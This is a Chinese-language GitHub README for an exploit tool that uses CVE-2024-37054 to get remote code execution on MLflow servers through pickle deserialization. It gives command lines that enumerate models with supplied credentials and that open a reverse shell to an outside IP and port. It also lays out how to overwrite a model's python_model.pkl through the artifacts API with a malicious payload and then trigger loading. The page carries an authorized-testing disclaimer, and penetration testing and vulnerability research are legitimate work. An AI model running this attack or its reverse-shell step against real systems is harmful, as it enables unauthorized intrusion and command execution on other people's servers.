tristanqtn/CVE-2024-37054

GitHub: tristanqtn/CVE-2024-37054

一个利用MLflow pyfunc反序列化漏洞(CVE-2024-37054)实现远程代码执行的exploit工具。

Stars: 1 | Forks: 0

# CVE-2024-37054 — MLflow pyfunc 反序列化远程代码执行漏洞 **严重性:** 严重 **影响版本:** MLflow 0.9.0 – 2.14.1 **漏洞类型:** 通过 Python pickle 反序列化实现任意代码执行 ## 描述 `mlflow.pyfunc.load_model()` 会从制品存储区反序列化 `python_model.pkl` 文件,且不进行任何消毒处理。能够访问 MLflow 制品 REST API 的攻击者可以覆盖该文件为恶意 pickle 文件,当模型下次被加载时,将执行任意操作系统命令。 ## 前提条件 ``` pip install requests cloudpickle ``` ## 用法 ``` # 枚举已注册模型 python3 exploit.py --mlflow http://mlflow.target.com \ --user admin --pass secret \ list # 显式模型 + MLflow 基本认证 python3 exploit.py --mlflow http://mlflow.target.com \ --user admin --pass secret \ revshell 10.10.16.1 4444 ``` ## 关键选项 | 标志 | 描述 | |------|------| | `--mlflow URL` | MLflow 跟踪服务器基础 URL(必填) | | `--model NAME` | 已注册模型名称 — 若省略则自动选择第一个 | | `--version N` | 模型版本 — 默认为最新版本 | | `--user / --pass` | MLflow 的 HTTP Basic Auth 凭证 | | `--run-id / --exp-id` | 使用已知 ID 跳过模型发现步骤 | | `--trigger-url URL` | 调用 `load_model()` 的应用端点 — 若省略则仅上传 | | `--session COOKIE` | 随触发请求发送的会话 cookie | ## 工作原理 1. **发现** — 查询 `/api/2.0/mlflow/registered-models/search` 以找到模型及其 `run_id` / `experiment_id` 2. **投毒** — 通过 `PUT` 请求将恶意 cloudpickle 载荷上传至 `/api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl` 3. **触发** — 任何对该模型调用 `mlflow.pyfunc.load_model()` 的代码路径将反序列化载荷并执行命令 触发步骤需要一个加载模型的应用端点。如果未知,可以使用 `--no-trigger`(或省略 `--trigger-url`),然后通过任何可用的方式触发加载。 ## 免责声明 仅限用于授权渗透测试和教育目的。
标签:威胁模拟, 逆向工具